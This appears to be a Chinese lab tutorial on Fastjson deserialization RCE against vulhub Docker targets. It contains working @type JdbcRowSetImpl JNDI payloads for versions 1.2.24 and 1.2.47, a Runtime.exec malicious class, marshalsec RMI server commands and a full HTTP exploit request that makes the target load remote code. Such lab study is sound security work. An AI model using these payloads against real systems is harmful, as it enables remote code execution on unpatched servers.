Fastjson反序列化
简介
Fastjson 是阿里巴巴开源的一个高性能 JSON 库,广泛应用于 Java 应用中进行 JSON 数据的解析和序列化。然而,由于其功能强大且支持多种 Java 对象的自动反序列化,Fastjson 在历史上多次暴露出严重的安全漏洞,特别是反序列化漏洞。此类漏洞允许攻击者通过精心构造的恶意 JSON 数据包,实现对目标系统的远程代码执行(RCE),从而在未经授权的情况下控制受害者的服务器。
搭建靶场
这里靶场用了vulhub。
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson
cd 1.2.24-rce
docker-compose up -d
你搭建的服务器的ip:8090(去访问吧)
cd 1.2.47-rce
docker-compose up -d
你搭建的服务器的ip:8090(去访问吧)
搭好环境之后我们就需要了解这个漏洞是怎么打的了,首先说说Fastjson是干嘛的。
Fastjson的作用
fastjson的反序列化并没有用到java原生的反序列化机制,而是自定义了一套自己的json形式的序列化和反序列化。
想要把json转成对象,有以下两种方式:
- 基于setter/getter
- 基于属性
默认情况下,它主要靠 getter/setter 或字段反射来完成对象映射。
这里举一个例子:
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
两个类均实现了Fruit接口,如果有以下这样一个json数据要进行反序列化:
{
"fruit": {
"price": 0.5
}
}
那就会出问题,反序列化之后我们不知道price属性到底是Apple还是iphone的,这就导致丢失了原来的信息。
@type的作用
为此,Fastjson引入了@type来记录原来的类型。
{
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
}
因此我们也就知道了,很多payload都把恶意类卸载@type中,这里的类一定会被自动加载。
一个最简单的payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://r4goom.dnslog.cn",
"autoCommit":true
}
}
为什么会用到dataSourceName这个键?
对上面的price我们就能理解到,这是com.sun.rowset.JdbcRowSetImpl这个类自己特有的属性,而它会被解析。而为什么是autoCommit也是同样的原因,设置它会导致lookup函数被执行,从而导致JNDI注入。
ldap 和rmi协议的作用
dataSourceName属性中经常写到的东西都是ldap和rmi开头的东西,那么他们的作用是什么呢?
RMI (Remote Method Invocation)
默认端口:1099
远程方法调用,简单来说他的作用就是,一个JVM来调用另一个JVM上的方法。
利用的时候 我们输入恶意数据,靶机会解析这个rmi协议并访问我们开的rmi服务,该服务会返回一个索引让他去下载另一个存放恶意类的服务让他去下载,下载之后就会尝试去实例化然后执行我们的恶意操作。
限制:
- JDK 8u121 开始,
com.sun.jndi.rmi.object.trustURLCodebase默认为false,无法远程加载类。
LDAP (Lightweight Directory Access Protocol)
本质:基于 TCP/IP 的目录服务协议,用于查询和修改目录(如 Active Directory)。
利用

从该图我们就可以看出,我们需要搭建两个服务,一个rmi服务器用来传递索引,另一个用来存放恶意class类文件。
恶意类 8000
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success-fastjson"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
这里要用jdk8来编译拿到class文件,用python开一个服务:
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
jdk-8u281-linux-x64.tar.gz marshalsec TouchFile.class vulhub vulhub-master.zip
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
RMI服务 9999
这里需要提前安装maven环境编译marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
编译项目
mvn clean package –DskipTests
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999
这里发起请求:
POST / HTTP/1.1
Host: 192.168.5.254:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 122
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":
"rmi://192.168.5.254:9999/TouchFile",
"autoCommit":true
}
}
打开靶机可以看到创建成功,说明命令被执行:
┌──(kali㉿kali)-[~]
└─$ sudo docker exec -it 48e18eabf2dd /bin/bash
root@48e18eabf2dd:/# ls /tmp
hsperfdata_root tomcat-docbase.5034469603399346237.8090 tomcat.3521294979068304773.8090
root@48e18eabf2dd:/# ls /tmp
hsperfdata_root success-fastjson tomcat-docbase.5034469603399346237.8090 tomcat.3521294979068304773.8090
利用2 1.2.47版本
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/TouchFile",
"autoCommit": true
}
}
参考
https://www.bilibili.com/video/BV1Ab4y1d7w1
这位大佬可以说是讲的非常之详细,完全保姆级别让我理解了每一个参数为什么是那样。
https://www.cnblogs.com/smileleooo/p/18133893
一篇很详细的实操教学。
https://www.bilibili.com/video/BV1KQLv6JExu
大佬实战中的一些经验。

浙公网安备 33010602011771号